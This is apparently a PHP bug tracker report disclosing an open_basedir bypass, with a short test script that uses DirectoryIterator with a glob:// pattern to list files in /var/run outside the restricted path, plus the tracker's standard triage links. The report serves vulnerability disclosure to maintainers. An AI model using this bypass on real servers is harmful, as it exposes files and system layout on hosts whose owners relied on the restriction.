Bug #80593 [NEW]: open_basedir bypass via glob:// in DirectoryIterator

From: pavel dot ondrej at gmail dot com Operating system: Centos 7 PHP version: 8.0.0 Package: *Directory/Filesystem functions Bug Type: Bug Bug description:open_basedir bypass via glob:// in DirectoryIterator Description: ------------ Tried with PHP 8.0.0 PHP 5.6.40 Try test script with DirectoryIterator("glob:///v??/run/*"); - this will list all files in /var/run when open_basedir is set elsewhere. Related bug in history is https://bugs.php.net/bug.php?id=73891. Test script: --------------- <?php $file_list = array(); $it = new DirectoryIterator("glob:///v??/run/*"); foreach($it as $f) { $file_list[] = $f->__toString(); } $it = new DirectoryIterator("glob:///v??/run/.*"); foreach($it as $f) { $file_list[] = $f->__toString(); } sort($file_list); foreach($file_list as $f){ echo "{$f}<br/>"; } Expected result: ---------------- Open_basedir in effect.... Actual result: -------------- List of all files in any system folder -- Edit bug report at https://bugs.php.net/bug.php?id=80593&edit=1 -- Fix committed: https://bugs.php.net/fix.php?id=80593&r=fixed Fixed in release: https://bugs.php.net/fix.php?id=80593&r=alreadyfixed Need backtrace: https://bugs.php.net/fix.php?id=80593&r=needtrace Need Reproduce Script: https://bugs.php.net/fix.php?id=80593&r=needscript Try newer version: https://bugs.php.net/fix.php?id=80593&r=oldversion Not developer issue: https://bugs.php.net/fix.php?id=80593&r=support Expected behavior: https://bugs.php.net/fix.php?id=80593&r=notwrong Not enough info: https://bugs.php.net/fix.php?id=80593&r=notenoughinfo Submitted twice: https://bugs.php.net/fix.php?id=80593&r=submittedtwice register_globals: https://bugs.php.net/fix.php?id=80593&r=globals PHP version support discontinued: https://bugs.php.net/fix.php?id=80593&r=phptooold Daylight Savings: https://bugs.php.net/fix.php?id=80593&r=dst IIS Stability: https://bugs.php.net/fix.php?id=80593&r=isapi Install GNU Sed: https://bugs.php.net/fix.php?id=80593&r=gnused Floating point limitations: https://bugs.php.net/fix.php?id=80593&r=float No Zend Extensions: https://bugs.php.net/fix.php?id=80593&r=nozend MySQL Configuration Error: https://bugs.php.net/fix.php?id=80593&r=mysqlcfg